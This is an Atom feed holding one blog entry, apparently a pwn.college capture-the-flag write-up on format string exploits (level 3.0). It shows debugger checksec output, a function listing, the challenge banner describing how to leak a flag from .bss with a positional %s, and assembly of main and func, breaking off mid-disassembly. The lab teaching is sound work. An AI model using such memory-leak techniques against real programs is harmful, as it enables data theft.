<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <title>river</title>
    <subtitle><![CDATA[ctf's, cybersecurity, hackthebox, philosophy, everything]]></subtitle>
    <link href="https://rivers.sh/atom.xml" rel="self" />
    <link href="https://rivers.sh" />
    <id>https://rivers.sh/atom.xml</id>
    <author>
        <name>river</name>
        
    </author>
    <updated>2026-09-25T00:00:00Z</updated>
    <entry>
    <title>pwn.college: Format String Exploits</title>
    <link href="https://rivers.sh/posts/pwncollege-formatstring/" />
    <id>https://rivers.sh/posts/pwncollege-formatstring/</id>
    <published>2026-09-25T00:00:00Z</published>
    <updated>2026-09-25T00:00:00Z</updated>
    <summary type="html"><![CDATA[<h2 id="level-30"><a href="#level-30" class="anchor">#</a>level 3.0</h2>
<h3 id="checksec-functions-running-binary"><a href="#checksec-functions-running-binary" class="anchor">#</a>checksec, functions, running binary</h3>
<div class="sourceCode" id="cb1"><pre class="sourceCode nasm"><code class="sourceCode nasm"><span id="cb1-1"><a href="#cb1-1" aria-hidden="true" tabindex="-1"></a>pwndbg<span class="op">&gt;</span> checksec</span>
<span id="cb1-2"><a href="#cb1-2" aria-hidden="true" tabindex="-1"></a><span class="fu">File:</span>     /home<span class="op">/</span>river<span class="op">/</span>ctf<span class="op">/</span>pwncollege<span class="op">/</span>formatstring3<span class="op">/</span>babyfmt_level3<span class="op">.</span>0</span>
<span id="cb1-3"><a href="#cb1-3" aria-hidden="true" tabindex="-1"></a><span class="fu">Arch:</span>     amd64</span>
<span id="cb1-4"><a href="#cb1-4" aria-hidden="true" tabindex="-1"></a><span class="fu">RELRO:</span>      Partial RELRO</span>
<span id="cb1-5"><a href="#cb1-5" aria-hidden="true" tabindex="-1"></a><span class="fu">Stack:</span>      Canary found</span>
<span id="cb1-6"><a href="#cb1-6" aria-hidden="true" tabindex="-1"></a><span class="fu">NX:</span>         NX enabled</span>
<span id="cb1-7"><a href="#cb1-7" aria-hidden="true" tabindex="-1"></a><span class="fu">PIE:</span>        No PIE <span class="op">(</span><span class="bn">0x400000</span><span class="op">)</span></span>
<span id="cb1-8"><a href="#cb1-8" aria-hidden="true" tabindex="-1"></a><span class="fu">SHSTK:</span>      Enabled</span>
<span id="cb1-9"><a href="#cb1-9" aria-hidden="true" tabindex="-1"></a><span class="fu">IBT:</span>        Enabled</span>
<span id="cb1-10"><a href="#cb1-10" aria-hidden="true" tabindex="-1"></a><span class="fu">Stripped:</span>   No</span></code></pre></div>
<div class="sourceCode" id="cb2"><pre class="sourceCode nasm"><code class="sourceCode nasm"><span id="cb2-1"><a href="#cb2-1" aria-hidden="true" tabindex="-1"></a>pwndbg<span class="op">&gt;</span> info functions</span>
<span id="cb2-2"><a href="#cb2-2" aria-hidden="true" tabindex="-1"></a>All defined functions<span class="op">:</span></span>
<span id="cb2-3"><a href="#cb2-3" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb2-4"><a href="#cb2-4" aria-hidden="true" tabindex="-1"></a>Non<span class="op">-</span>debugging symbols<span class="op">:</span></span>
<span id="cb2-5"><a href="#cb2-5" aria-hidden="true" tabindex="-1"></a>0x0000000000401000  _init</span>
<span id="cb2-6"><a href="#cb2-6" aria-hidden="true" tabindex="-1"></a>0x00000000004010e0  putchar@plt</span>
<span id="cb2-7"><a href="#cb2-7" aria-hidden="true" tabindex="-1"></a>0x00000000004010f0  puts@plt</span>
<span id="cb2-8"><a href="#cb2-8" aria-hidden="true" tabindex="-1"></a>0x0000000000401100  __stack_chk_fail@plt</span>
<span id="cb2-9"><a href="#cb2-9" aria-hidden="true" tabindex="-1"></a>0x0000000000401110  setbuf@plt</span>
<span id="cb2-10"><a href="#cb2-10" aria-hidden="true" tabindex="-1"></a>0x0000000000401120  printf@plt</span>
<span id="cb2-11"><a href="#cb2-11" aria-hidden="true" tabindex="-1"></a>0x0000000000401130  __assert_fail@plt</span>
<span id="cb2-12"><a href="#cb2-12" aria-hidden="true" tabindex="-1"></a>0x0000000000401140  read@plt</span>
<span id="cb2-13"><a href="#cb2-13" aria-hidden="true" tabindex="-1"></a>0x0000000000401150  srand@plt</span>
<span id="cb2-14"><a href="#cb2-14" aria-hidden="true" tabindex="-1"></a>0x0000000000401160  time@plt</span>
<span id="cb2-15"><a href="#cb2-15" aria-hidden="true" tabindex="-1"></a>0x0000000000401170  setvbuf@plt</span>
<span id="cb2-16"><a href="#cb2-16" aria-hidden="true" tabindex="-1"></a>0x0000000000401180  open@plt</span>
<span id="cb2-17"><a href="#cb2-17" aria-hidden="true" tabindex="-1"></a>0x0000000000401190  _start</span>
<span id="cb2-18"><a href="#cb2-18" aria-hidden="true" tabindex="-1"></a>0x00000000004011c0  _dl_relocate_static_pie</span>
<span id="cb2-19"><a href="#cb2-19" aria-hidden="true" tabindex="-1"></a>0x00000000004011d0  deregister_tm_clones</span>
<span id="cb2-20"><a href="#cb2-20" aria-hidden="true" tabindex="-1"></a>0x0000000000401200  register_tm_clones</span>
<span id="cb2-21"><a href="#cb2-21" aria-hidden="true" tabindex="-1"></a>0x0000000000401240  __do_global_dtors_aux</span>
<span id="cb2-22"><a href="#cb2-22" aria-hidden="true" tabindex="-1"></a>0x0000000000401270  frame_dummy</span>
<span id="cb2-23"><a href="#cb2-23" aria-hidden="true" tabindex="-1"></a>0x0000000000401276  DUMP_STACK</span>
<span id="cb2-24"><a href="#cb2-24" aria-hidden="true" tabindex="-1"></a>0x0000000000401479  init</span>
<span id="cb2-25"><a href="#cb2-25" aria-hidden="true" tabindex="-1"></a>0x00000000004014c0  func</span>
<span id="cb2-26"><a href="#cb2-26" aria-hidden="true" tabindex="-1"></a>0x000000000040170f  main</span>
<span id="cb2-27"><a href="#cb2-27" aria-hidden="true" tabindex="-1"></a>0x0000000000401830  __libc_csu_init</span>
<span id="cb2-28"><a href="#cb2-28" aria-hidden="true" tabindex="-1"></a>0x00000000004018a0  __libc_csu_fini</span>
<span id="cb2-29"><a href="#cb2-29" aria-hidden="true" tabindex="-1"></a>0x00000000004018a8  _fini</span></code></pre></div>
<div class="sourceCode" id="cb3"><pre class="sourceCode bash"><code class="sourceCode bash"><span id="cb3-1"><a href="#cb3-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> ./babyfmt_level3.0</span>
<span id="cb3-2"><a href="#cb3-2" aria-hidden="true" tabindex="-1"></a><span class="co">###</span></span>
<span id="cb3-3"><a href="#cb3-3" aria-hidden="true" tabindex="-1"></a><span class="co">### Welcome to ./babyfmt_level3.0!</span></span>
<span id="cb3-4"><a href="#cb3-4" aria-hidden="true" tabindex="-1"></a><span class="co">###</span></span>
<span id="cb3-5"><a href="#cb3-5" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb3-6"><a href="#cb3-6" aria-hidden="true" tabindex="-1"></a><span class="ex">This</span> challenge reads in some bytes, calls printf on that string, and allows you to perform</span>
<span id="cb3-7"><a href="#cb3-7" aria-hidden="true" tabindex="-1"></a><span class="ex">a</span> format string attack. Through this series of challenges, you will become painfully familiar</span>
<span id="cb3-8"><a href="#cb3-8" aria-hidden="true" tabindex="-1"></a><span class="ex">with</span> the concept of Format String Attacks!</span>
<span id="cb3-9"><a href="#cb3-9" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb3-10"><a href="#cb3-10" aria-hidden="true" tabindex="-1"></a><span class="ex">This</span> challenge allows you to make a 256-sized format string.</span>
<span id="cb3-11"><a href="#cb3-11" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb3-12"><a href="#cb3-12" aria-hidden="true" tabindex="-1"></a><span class="ex">This</span> challenge reads the flag into the .bss! Nice and easy<span class="kw">;</span> <span class="ex">just</span> read it out!</span>
<span id="cb3-13"><a href="#cb3-13" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb3-14"><a href="#cb3-14" aria-hidden="true" tabindex="-1"></a><span class="ex">So,</span> the flag is in the .bss. How are you going to get it<span class="pp">?</span></span>
<span id="cb3-15"><a href="#cb3-15" aria-hidden="true" tabindex="-1"></a><span class="ex">One</span> way to do it is to use %s in your format string. It will dereference a pointer</span>
<span id="cb3-16"><a href="#cb3-16" aria-hidden="true" tabindex="-1"></a><span class="ex">and</span> print the string that the pointer is pointing to. This is perfect for leaking the</span>
<span id="cb3-17"><a href="#cb3-17" aria-hidden="true" tabindex="-1"></a><span class="ex">flag</span> from the BSS!</span>
<span id="cb3-18"><a href="#cb3-18" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb3-19"><a href="#cb3-19" aria-hidden="true" tabindex="-1"></a><span class="ex">But</span> there<span class="st">&#39;s one problem... Unlike level 1, you don&#39;</span>t have a pointer to the bss on the stack.</span>
<span id="cb3-20"><a href="#cb3-20" aria-hidden="true" tabindex="-1"></a><span class="ex">The</span> solution<span class="pp">?</span> Write this address in as part of your format string, then use a positional %s <span class="er">(</span><span class="ex">i.e.,</span></span>
<span id="cb3-21"><a href="#cb3-21" aria-hidden="true" tabindex="-1"></a><span class="ex">%X</span><span class="va">$s</span> with the correct X<span class="kw">)</span> <span class="ex">to</span> use that address as the pointer. That way, you have full control of</span>
<span id="cb3-22"><a href="#cb3-22" aria-hidden="true" tabindex="-1"></a><span class="ex">the</span> address!</span>
<span id="cb3-23"><a href="#cb3-23" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb3-24"><a href="#cb3-24" aria-hidden="true" tabindex="-1"></a><span class="ex">In</span> this case, the address you want is 0x404140. Remember to input it in little endian! To debug what</span>
<span id="cb3-25"><a href="#cb3-25" aria-hidden="true" tabindex="-1"></a><span class="ex">address</span> your %s will dereference, you can replace <span class="st">&#39;s&#39;</span> with <span class="st">&#39;x&#39;</span> and see what the address is</span>
<span id="cb3-26"><a href="#cb3-26" aria-hidden="true" tabindex="-1"></a><span class="ex">being</span> interpreted at.</span>
<span id="cb3-27"><a href="#cb3-27" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb3-28"><a href="#cb3-28" aria-hidden="true" tabindex="-1"></a><span class="ex">I</span> will now read up to 256 bytes. Send your data!</span></code></pre></div>
<h3 id="disass-main"><a href="#disass-main" class="anchor">#</a>disass main</h3>
<div class="sourceCode" id="cb4"><pre class="sourceCode nasm"><code class="sourceCode nasm"><span id="cb4-1"><a href="#cb4-1" aria-hidden="true" tabindex="-1"></a>Dump of assembler code for function main<span class="op">:</span></span>
<span id="cb4-2"><a href="#cb4-2" aria-hidden="true" tabindex="-1"></a>   0x000000000040170f &lt;+0&gt;:	<span class="kw">endbr64</span></span>
<span id="cb4-3"><a href="#cb4-3" aria-hidden="true" tabindex="-1"></a>   0x0000000000401713 &lt;+4&gt;:	<span class="kw">push</span>   <span class="kw">rbp</span></span>
<span id="cb4-4"><a href="#cb4-4" aria-hidden="true" tabindex="-1"></a>   0x0000000000401714 &lt;+5&gt;:	<span class="kw">mov</span>    <span class="kw">rbp</span><span class="op">,</span><span class="kw">rsp</span></span>
<span id="cb4-5"><a href="#cb4-5" aria-hidden="true" tabindex="-1"></a>   0x0000000000401717 &lt;+8&gt;:	<span class="kw">sub</span>    <span class="kw">rsp</span><span class="op">,</span><span class="bn">0x20</span></span>
<span id="cb4-6"><a href="#cb4-6" aria-hidden="true" tabindex="-1"></a>   0x000000000040171b &lt;+12&gt;:	<span class="kw">mov</span>    <span class="dt">DWORD</span> <span class="dt">PTR</span> <span class="op">[</span><span class="kw">rbp</span><span class="op">-</span><span class="bn">0x4</span><span class="op">],</span><span class="kw">edi</span></span>
<span id="cb4-7"><a href="#cb4-7" aria-hidden="true" tabindex="-1"></a>   0x000000000040171e &lt;+15&gt;:	<span class="kw">mov</span>    <span class="dt">QWORD</span> <span class="dt">PTR</span> <span class="op">[</span><span class="kw">rbp</span><span class="op">-</span><span class="bn">0x10</span><span class="op">],</span><span class="kw">rsi</span></span>
<span id="cb4-8"><a href="#cb4-8" aria-hidden="true" tabindex="-1"></a>   0x0000000000401722 &lt;+19&gt;:	<span class="kw">mov</span>    <span class="dt">QWORD</span> <span class="dt">PTR</span> <span class="op">[</span><span class="kw">rbp</span><span class="op">-</span><span class="bn">0x18</span><span class="op">],</span><span class="kw">rdx</span></span>
<span id="cb4-9"><a href="#cb4-9" aria-hidden="true" tabindex="-1"></a>   0x0000000000401726 &lt;+23&gt;:	<span class="kw">mov</span>    <span class="kw">rax</span><span class="op">,</span><span class="dt">QWORD</span> <span class="dt">PTR</span> <span class="op">[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0x2963</span><span class="op">]</span>        # <span class="bn">0x404090</span> <span class="op">&lt;</span>stdin@@GLIBC_2<span class="op">.</span>2<span class="op">.</span>5<span class="op">&gt;</span></span>
<span id="cb4-10"><a href="#cb4-10" aria-hidden="true" tabindex="-1"></a>   0x000000000040172d &lt;+30&gt;:	<span class="kw">mov</span>    <span class="kw">ecx</span><span class="op">,</span><span class="bn">0x0</span></span>
<span id="cb4-11"><a href="#cb4-11" aria-hidden="true" tabindex="-1"></a>   0x0000000000401732 &lt;+35&gt;:	<span class="kw">mov</span>    <span class="kw">edx</span><span class="op">,</span><span class="bn">0x2</span></span>
<span id="cb4-12"><a href="#cb4-12" aria-hidden="true" tabindex="-1"></a>   0x0000000000401737 &lt;+40&gt;:	<span class="kw">mov</span>    <span class="kw">esi</span><span class="op">,</span><span class="bn">0x0</span></span>
<span id="cb4-13"><a href="#cb4-13" aria-hidden="true" tabindex="-1"></a>   0x000000000040173c &lt;+45&gt;:	<span class="kw">mov</span>    <span class="kw">rdi</span><span class="op">,</span><span class="kw">rax</span></span>
<span id="cb4-14"><a href="#cb4-14" aria-hidden="true" tabindex="-1"></a>   0x000000000040173f &lt;+48&gt;:	<span class="cf">call</span>   <span class="bn">0x401170</span> <span class="op">&lt;</span>setvbuf@plt<span class="op">&gt;</span></span>
<span id="cb4-15"><a href="#cb4-15" aria-hidden="true" tabindex="-1"></a>   0x0000000000401744 &lt;+53&gt;:	<span class="kw">mov</span>    <span class="kw">rax</span><span class="op">,</span><span class="dt">QWORD</span> <span class="dt">PTR</span> <span class="op">[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0x2935</span><span class="op">]</span>        # <span class="bn">0x404080</span> <span class="op">&lt;</span>stdout@@GLIBC_2<span class="op">.</span>2<span class="op">.</span>5<span class="op">&gt;</span></span>
<span id="cb4-16"><a href="#cb4-16" aria-hidden="true" tabindex="-1"></a>   0x000000000040174b &lt;+60&gt;:	<span class="kw">mov</span>    <span class="kw">ecx</span><span class="op">,</span><span class="bn">0x0</span></span>
<span id="cb4-17"><a href="#cb4-17" aria-hidden="true" tabindex="-1"></a>   0x0000000000401750 &lt;+65&gt;:	<span class="kw">mov</span>    <span class="kw">edx</span><span class="op">,</span><span class="bn">0x2</span></span>
<span id="cb4-18"><a href="#cb4-18" aria-hidden="true" tabindex="-1"></a>   0x0000000000401755 &lt;+70&gt;:	<span class="kw">mov</span>    <span class="kw">esi</span><span class="op">,</span><span class="bn">0x0</span></span>
<span id="cb4-19"><a href="#cb4-19" aria-hidden="true" tabindex="-1"></a>   0x000000000040175a &lt;+75&gt;:	<span class="kw">mov</span>    <span class="kw">rdi</span><span class="op">,</span><span class="kw">rax</span></span>
<span id="cb4-20"><a href="#cb4-20" aria-hidden="true" tabindex="-1"></a>   0x000000000040175d &lt;+78&gt;:	<span class="cf">call</span>   <span class="bn">0x401170</span> <span class="op">&lt;</span>setvbuf@plt<span class="op">&gt;</span></span>
<span id="cb4-21"><a href="#cb4-21" aria-hidden="true" tabindex="-1"></a>   0x0000000000401762 &lt;+83&gt;:	<span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xd65</span><span class="op">]</span>        # <span class="bn">0x4024ce</span></span>
<span id="cb4-22"><a href="#cb4-22" aria-hidden="true" tabindex="-1"></a>   0x0000000000401769 &lt;+90&gt;:	<span class="cf">call</span>   <span class="bn">0x4010f0</span> <span class="op">&lt;</span>puts@plt<span class="op">&gt;</span></span>
<span id="cb4-23"><a href="#cb4-23" aria-hidden="true" tabindex="-1"></a>   0x000000000040176e &lt;+95&gt;:	<span class="kw">mov</span>    <span class="kw">rax</span><span class="op">,</span><span class="dt">QWORD</span> <span class="dt">PTR</span> <span class="op">[</span><span class="kw">rbp</span><span class="op">-</span><span class="bn">0x10</span><span class="op">]</span></span>
<span id="cb4-24"><a href="#cb4-24" aria-hidden="true" tabindex="-1"></a>   0x0000000000401772 &lt;+99&gt;:	<span class="kw">mov</span>    <span class="kw">rax</span><span class="op">,</span><span class="dt">QWORD</span> <span class="dt">PTR</span> <span class="op">[</span><span class="kw">rax</span><span class="op">]</span></span>
<span id="cb4-25"><a href="#cb4-25" aria-hidden="true" tabindex="-1"></a>   0x0000000000401775 &lt;+102&gt;:	<span class="kw">mov</span>    <span class="kw">rsi</span><span class="op">,</span><span class="kw">rax</span></span>
<span id="cb4-26"><a href="#cb4-26" aria-hidden="true" tabindex="-1"></a>   0x0000000000401778 &lt;+105&gt;:	<span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xd53</span><span class="op">]</span>        # <span class="bn">0x4024d2</span></span>
<span id="cb4-27"><a href="#cb4-27" aria-hidden="true" tabindex="-1"></a>   0x000000000040177f &lt;+112&gt;:	<span class="kw">mov</span>    <span class="kw">eax</span><span class="op">,</span><span class="bn">0x0</span></span>
<span id="cb4-28"><a href="#cb4-28" aria-hidden="true" tabindex="-1"></a>   0x0000000000401784 &lt;+117&gt;:	<span class="cf">call</span>   <span class="bn">0x401120</span> <span class="op">&lt;</span>printf@plt<span class="op">&gt;</span></span>
<span id="cb4-29"><a href="#cb4-29" aria-hidden="true" tabindex="-1"></a>   0x0000000000401789 &lt;+122&gt;:	<span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xd3e</span><span class="op">]</span>        # <span class="bn">0x4024ce</span></span>
<span id="cb4-30"><a href="#cb4-30" aria-hidden="true" tabindex="-1"></a>   0x0000000000401790 &lt;+129&gt;:	<span class="cf">call</span>   <span class="bn">0x4010f0</span> <span class="op">&lt;</span>puts@plt<span class="op">&gt;</span></span>
<span id="cb4-31"><a href="#cb4-31" aria-hidden="true" tabindex="-1"></a>   0x0000000000401795 &lt;+134&gt;:	<span class="kw">mov</span>    <span class="kw">edi</span><span class="op">,</span><span class="bn">0xa</span></span>
<span id="cb4-32"><a href="#cb4-32" aria-hidden="true" tabindex="-1"></a>   0x000000000040179a &lt;+139&gt;:	<span class="cf">call</span>   <span class="bn">0x4010e0</span> <span class="op">&lt;</span>putchar@plt<span class="op">&gt;</span></span>
<span id="cb4-33"><a href="#cb4-33" aria-hidden="true" tabindex="-1"></a>   0x000000000040179f &lt;+144&gt;:	<span class="kw">cmp</span>    <span class="dt">DWORD</span> <span class="dt">PTR</span> <span class="op">[</span><span class="kw">rbp</span><span class="op">-</span><span class="bn">0x4</span><span class="op">],</span><span class="bn">0x0</span></span>
<span id="cb4-34"><a href="#cb4-34" aria-hidden="true" tabindex="-1"></a>   0x00000000004017a3 &lt;+148&gt;:	<span class="cf">jg</span>     <span class="bn">0x4017c4</span> <span class="op">&lt;</span>main<span class="op">+</span><span class="dv">181</span><span class="op">&gt;</span></span>
<span id="cb4-35"><a href="#cb4-35" aria-hidden="true" tabindex="-1"></a>   0x00000000004017a5 &lt;+150&gt;:	<span class="kw">lea</span>    <span class="kw">rcx</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xe86</span><span class="op">]</span>        # <span class="bn">0x402632</span> <span class="op">&lt;</span>__PRETTY_FUNCTION__<span class="op">.</span>5740<span class="op">&gt;</span></span>
<span id="cb4-36"><a href="#cb4-36" aria-hidden="true" tabindex="-1"></a>   0x00000000004017ac &lt;+157&gt;:	<span class="kw">mov</span>    <span class="kw">edx</span><span class="op">,</span><span class="bn">0x9e</span></span>
<span id="cb4-37"><a href="#cb4-37" aria-hidden="true" tabindex="-1"></a>   0x00000000004017b1 &lt;+162&gt;:	<span class="kw">lea</span>    <span class="kw">rsi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xd2e</span><span class="op">]</span>        # <span class="bn">0x4024e6</span></span>
<span id="cb4-38"><a href="#cb4-38" aria-hidden="true" tabindex="-1"></a>   0x00000000004017b8 &lt;+169&gt;:	<span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xd2f</span><span class="op">]</span>        # <span class="bn">0x4024ee</span></span>
<span id="cb4-39"><a href="#cb4-39" aria-hidden="true" tabindex="-1"></a>   0x00000000004017bf &lt;+176&gt;:	<span class="cf">call</span>   <span class="bn">0x401130</span> <span class="op">&lt;</span>__assert_fail@plt<span class="op">&gt;</span></span>
<span id="cb4-40"><a href="#cb4-40" aria-hidden="true" tabindex="-1"></a>   0x00000000004017c4 &lt;+181&gt;:	<span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xd2d</span><span class="op">]</span>        # <span class="bn">0x4024f8</span></span>
<span id="cb4-41"><a href="#cb4-41" aria-hidden="true" tabindex="-1"></a>   0x00000000004017cb &lt;+188&gt;:	<span class="cf">call</span>   <span class="bn">0x4010f0</span> <span class="op">&lt;</span>puts@plt<span class="op">&gt;</span></span>
<span id="cb4-42"><a href="#cb4-42" aria-hidden="true" tabindex="-1"></a>   0x00000000004017d0 &lt;+193&gt;:	<span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xd81</span><span class="op">]</span>        # <span class="bn">0x402558</span></span>
<span id="cb4-43"><a href="#cb4-43" aria-hidden="true" tabindex="-1"></a>   0x00000000004017d7 &lt;+200&gt;:	<span class="cf">call</span>   <span class="bn">0x4010f0</span> <span class="op">&lt;</span>puts@plt<span class="op">&gt;</span></span>
<span id="cb4-44"><a href="#cb4-44" aria-hidden="true" tabindex="-1"></a>   0x00000000004017dc &lt;+205&gt;:	<span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xdd5</span><span class="op">]</span>        # <span class="bn">0x4025b8</span></span>
<span id="cb4-45"><a href="#cb4-45" aria-hidden="true" tabindex="-1"></a>   0x00000000004017e3 &lt;+212&gt;:	<span class="cf">call</span>   <span class="bn">0x4010f0</span> <span class="op">&lt;</span>puts@plt<span class="op">&gt;</span></span>
<span id="cb4-46"><a href="#cb4-46" aria-hidden="true" tabindex="-1"></a>   0x00000000004017e8 &lt;+217&gt;:	<span class="kw">mov</span>    <span class="kw">edi</span><span class="op">,</span><span class="bn">0xa</span></span>
<span id="cb4-47"><a href="#cb4-47" aria-hidden="true" tabindex="-1"></a>   0x00000000004017ed &lt;+222&gt;:	<span class="cf">call</span>   <span class="bn">0x4010e0</span> <span class="op">&lt;</span>putchar@plt<span class="op">&gt;</span></span>
<span id="cb4-48"><a href="#cb4-48" aria-hidden="true" tabindex="-1"></a>   0x00000000004017f2 &lt;+227&gt;:	<span class="kw">mov</span>    <span class="kw">esi</span><span class="op">,</span><span class="bn">0x100</span></span>
<span id="cb4-49"><a href="#cb4-49" aria-hidden="true" tabindex="-1"></a>   0x00000000004017f7 &lt;+232&gt;:	<span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xdea</span><span class="op">]</span>        # <span class="bn">0x4025e8</span></span>
<span id="cb4-50"><a href="#cb4-50" aria-hidden="true" tabindex="-1"></a>   0x00000000004017fe &lt;+239&gt;:	<span class="kw">mov</span>    <span class="kw">eax</span><span class="op">,</span><span class="bn">0x0</span></span>
<span id="cb4-51"><a href="#cb4-51" aria-hidden="true" tabindex="-1"></a>   0x0000000000401803 &lt;+244&gt;:	<span class="cf">call</span>   <span class="bn">0x401120</span> <span class="op">&lt;</span>printf@plt<span class="op">&gt;</span></span>
<span id="cb4-52"><a href="#cb4-52" aria-hidden="true" tabindex="-1"></a>   0x0000000000401808 &lt;+249&gt;:	<span class="kw">mov</span>    <span class="kw">edi</span><span class="op">,</span><span class="bn">0xa</span></span>
<span id="cb4-53"><a href="#cb4-53" aria-hidden="true" tabindex="-1"></a>   0x000000000040180d &lt;+254&gt;:	<span class="cf">call</span>   <span class="bn">0x4010e0</span> <span class="op">&lt;</span>putchar@plt<span class="op">&gt;</span></span>
<span id="cb4-54"><a href="#cb4-54" aria-hidden="true" tabindex="-1"></a>   0x0000000000401812 &lt;+259&gt;:	<span class="cf">call</span>   <span class="bn">0x4014c0</span> <span class="op">&lt;</span>func<span class="op">&gt;</span></span>
<span id="cb4-55"><a href="#cb4-55" aria-hidden="true" tabindex="-1"></a>   0x0000000000401817 &lt;+264&gt;:	<span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xe07</span><span class="op">]</span>        # <span class="bn">0x402625</span></span>
<span id="cb4-56"><a href="#cb4-56" aria-hidden="true" tabindex="-1"></a>   0x000000000040181e &lt;+271&gt;:	<span class="cf">call</span>   <span class="bn">0x4010f0</span> <span class="op">&lt;</span>puts@plt<span class="op">&gt;</span></span>
<span id="cb4-57"><a href="#cb4-57" aria-hidden="true" tabindex="-1"></a>   0x0000000000401823 &lt;+276&gt;:	<span class="kw">mov</span>    <span class="kw">eax</span><span class="op">,</span><span class="bn">0x0</span></span>
<span id="cb4-58"><a href="#cb4-58" aria-hidden="true" tabindex="-1"></a>   0x0000000000401828 &lt;+281&gt;:	<span class="kw">leave</span></span>
<span id="cb4-59"><a href="#cb4-59" aria-hidden="true" tabindex="-1"></a>   0x0000000000401829 &lt;+282&gt;:	<span class="cf">ret</span></span>
<span id="cb4-60"><a href="#cb4-60" aria-hidden="true" tabindex="-1"></a>End of assembler dump<span class="op">.</span></span>
<span id="cb4-61"><a href="#cb4-61" aria-hidden="true" tabindex="-1"></a>pwndbg<span class="op">&gt;</span></span></code></pre></div>
<p><code>func</code> function being called:</p>
<div class="sourceCode" id="cb5"><pre class="sourceCode nasm"><code class="sourceCode nasm"><span id="cb5-1"><a href="#cb5-1" aria-hidden="true" tabindex="-1"></a>   0x0000000000401812 &lt;+259&gt;:	<span class="cf">call</span>   <span class="bn">0x4014c0</span> <span class="op">&lt;</span>func<span class="op">&gt;</span></span></code></pre></div>
<h3 id="diass-func"><a href="#diass-func" class="anchor">#</a>diass func</h3>
<div class="sourceCode" id="cb6"><pre class="sourceCode nasm"><code class="sourceCode nasm"><span id="cb6-1"><a href="#cb6-1" aria-hidden="true" tabindex="-1"></a>Dump of assembler code for function func<span class="op">:</span></span>
<span id="cb6-2"><a href="#cb6-2" aria-hidden="true" tabindex="-1"></a>   0x00000000004014c0 &lt;+0&gt;:	<span class="kw">endbr64</span></span>
<span id="cb6-3"><a href="#cb6-3" aria-hidden="true" tabindex="-1"></a>   0x00000000004014c4 &lt;+4&gt;:	<span class="kw">push</span>   <span class="kw">rbp</span></span>
<span id="cb6-4"><a href="#cb6-4" aria-hidden="true" tabindex="-1"></a>   0x00000000004014c5 &lt;+5&gt;:	<span class="kw">mov</span>    <span class="kw">rbp</span><span class="op">,</span><span class="kw">rsp</span></span>
<span id="cb6-5"><a href="#cb6-5" aria-hidden="true" tabindex="-1"></a>   0x00000000004014c8 &lt;+8&gt;:	<span class="kw">sub</span>    <span class="kw">rsp</span><span class="op">,</span><span class="bn">0x200</span></span>
<span id="cb6-6"><a href="#cb6-6" aria-hidden="true" tabindex="-1"></a>   0x00000000004014cf &lt;+15&gt;:	<span class="kw">mov</span>    <span class="kw">rax</span><span class="op">,</span><span class="dt">QWORD</span> <span class="dt">PTR</span> <span class="kw">fs</span><span class="op">:</span><span class="bn">0x28</span></span>
<span id="cb6-7"><a href="#cb6-7" aria-hidden="true" tabindex="-1"></a>   0x00000000004014d8 &lt;+24&gt;:	<span class="kw">mov</span>    <span class="dt">QWORD</span> <span class="dt">PTR</span> <span class="op">[</span><span class="kw">rbp</span><span class="op">-</span><span class="bn">0x8</span><span class="op">],</span><span class="kw">rax</span></span>
<span id="cb6-8"><a href="#cb6-8" aria-hidden="true" tabindex="-1"></a>   0x00000000004014dc &lt;+28&gt;:	<span class="kw">xor</span>    <span class="kw">eax</span><span class="op">,</span><span class="kw">eax</span></span>
<span id="cb6-9"><a href="#cb6-9" aria-hidden="true" tabindex="-1"></a>   0x00000000004014de &lt;+30&gt;:	<span class="kw">mov</span>    <span class="kw">rax</span><span class="op">,</span><span class="kw">rsp</span></span>
<span id="cb6-10"><a href="#cb6-10" aria-hidden="true" tabindex="-1"></a>   0x00000000004014e1 &lt;+33&gt;:	<span class="kw">mov</span>    <span class="dt">QWORD</span> <span class="dt">PTR</span> <span class="op">[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0x2cf0</span><span class="op">],</span><span class="kw">rax</span>        # <span class="bn">0x4041d8</span> <span class="op">&lt;</span>sp_<span class="op">&gt;</span></span>
<span id="cb6-11"><a href="#cb6-11" aria-hidden="true" tabindex="-1"></a>   0x00000000004014e8 &lt;+40&gt;:	<span class="kw">mov</span>    <span class="kw">rax</span><span class="op">,</span><span class="kw">rbp</span></span>
